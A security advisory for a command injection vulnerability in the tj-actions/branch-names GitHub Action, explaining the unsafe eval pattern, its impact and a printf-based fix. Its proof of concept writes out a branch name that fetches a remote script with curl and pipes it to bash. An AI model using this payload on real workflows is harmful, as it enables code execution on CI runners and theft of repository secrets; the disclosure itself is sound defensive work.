CVE-2025-54416: tj-actions/branch-names Contains Command Injection Vulnerability

Overview

A critical vulnerability has been identified in the tj-actions/branch-names GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.

Technical Details

The vulnerability stems from the unsafe use of the eval printf "%s" pattern within the action's codebase. Although initial sanitization using printf "%q" properly escapes untrusted input, subsequent unescaping via eval printf "%s" reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:

bash echo "baserefbranch=$(eval printf "%s" "$BASEREF")" >> "$GITHUBOUTPUT" echo "headrefbranch=$(eval printf "%s" "$HEADREF")" >> "$GITHUBOUTPUT" echo "refbranch=$(eval printf "%s" "$REFBRANCH")" >> "$GITHUBOUTPUT"

This approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.

Proof-of-Concept (PoC)

1. Create a branch with the name $(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash). 2. Trigger the vulnerable workflow by opening a pull request into the target repository. 3. Observe arbitrary code execution in the workflow logs.

Example output: bash Running on a pull request branch. Run echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)" echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)" shell: /usr/bin/bash -e {0} Running on pr: === PoC script executed successfully === Runner user: runner

Impact

This vulnerability enables arbitrary command execution in repositories consuming outputs from tj-actions/branch-names. The severity of the impact depends on the permissions granted to the GITHUBTOKEN and the context of the triggering event. Potential consequences include:

- Theft of sensitive secrets stored in the repository. - Unauthorized write access to the repository. - Compromise of the repository's integrity and security.

Mitigation and Resolution

To address this vulnerability, the unsafe eval printf "%s" pattern must be replaced with safer alternatives. Specifically, direct printf calls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:

bash printf "baserefbranch=%s\n" "$BASEREF" >> "$GITHUBOUTPUT" printf "headrefbranch=%s\n" "$HEADREF" >> "$GITHUBOUTPUT" printf "refbranch=%s\n" "$REFBRANCH" >> "$GITHUBOUTPUT" printf "tag=%s\n" "$TAG" >> "$GITHUBOUTPUT"

This approach ensures that all outputs remain properly escaped and safe for downstream consumption.

Recommendations

1. Immediate Action: Developers using the tj-actions/branch-names workflow should update their workflows to latest major version v9.

References - GitHub Actions Security Guide - How to Secure GitHub Actions Workflows - Related Vulnerability: GHSA-mcph-m25j-8j63 - Template Injection Advisory: GHSA-8v8w-v8xg-79rf